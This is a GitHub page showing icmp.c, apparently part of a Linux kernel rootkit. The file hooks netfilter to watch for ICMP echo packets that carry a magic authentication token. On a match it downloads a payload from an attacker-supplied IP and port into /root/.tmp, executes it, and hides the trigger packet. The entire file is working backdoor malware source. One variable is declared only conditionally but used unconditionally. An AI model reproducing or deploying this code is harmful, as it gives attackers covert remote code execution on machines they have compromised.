-
Notifications
You must be signed in to change notification settings - Fork 210
/
icmp.c
77 lines (59 loc) · 2.01 KB
/
icmp.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include "common.h"
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/icmp.h>
#include <linux/ip.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
struct magic_icmp {
unsigned int magic;
unsigned int ip;
unsigned short port;
};
struct nf_hook_ops pre_hook;
unsigned int watch_icmp ( unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *) )
{
struct iphdr *ip_header;
struct icmphdr *icmp_header;
struct magic_icmp *payload;
#if defined(_CONFIG_DLEXEC_)
unsigned int payload_size, ip = 0;
unsigned short port = 0;
#endif
ip_header = ip_hdr(skb);
if ( ! ip_header )
return NF_ACCEPT;
if ( ip_header->protocol != IPPROTO_ICMP )
return NF_ACCEPT;
// skb->transport_header hasn't been set by this point, so we have to calculate it manually
icmp_header = (struct icmphdr *)(ip_header + 1);
if ( ! icmp_header )
return NF_ACCEPT;
payload = (struct magic_icmp *)(icmp_header + 1);
payload_size = skb->len - sizeof(struct iphdr) - sizeof(struct icmphdr);
DEBUG("ICMP packet: payload_size=%u, magic=%x, ip=%x, port=%hu\n", payload_size, payload->magic, payload->ip, payload->port);
if ( icmp_header->type != ICMP_ECHO || payload_size != 10 || payload->magic != AUTH_TOKEN )
return NF_ACCEPT;
DEBUG("Received magic ICMP packet\n");
#if defined(_CONFIG_DLEXEC_)
ip = payload->ip;
port = payload->port;
// 3 attempts, 2000ms delay
dlexec_queue("/root/.tmp", ip, port, 2, 2000);
#endif
return NF_STOLEN;
}
void icmp_init ( void )
{
DEBUG("Monitoring ICMP packets via netfilter\n");
pre_hook.hook = watch_icmp;
pre_hook.pf = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum = NF_INET_PRE_ROUTING;
nf_register_hook(&pre_hook);
}
void icmp_exit ( void )
{
DEBUG("Stopping monitoring ICMP packets via netfilter\n");
nf_unregister_hook(&pre_hook);
}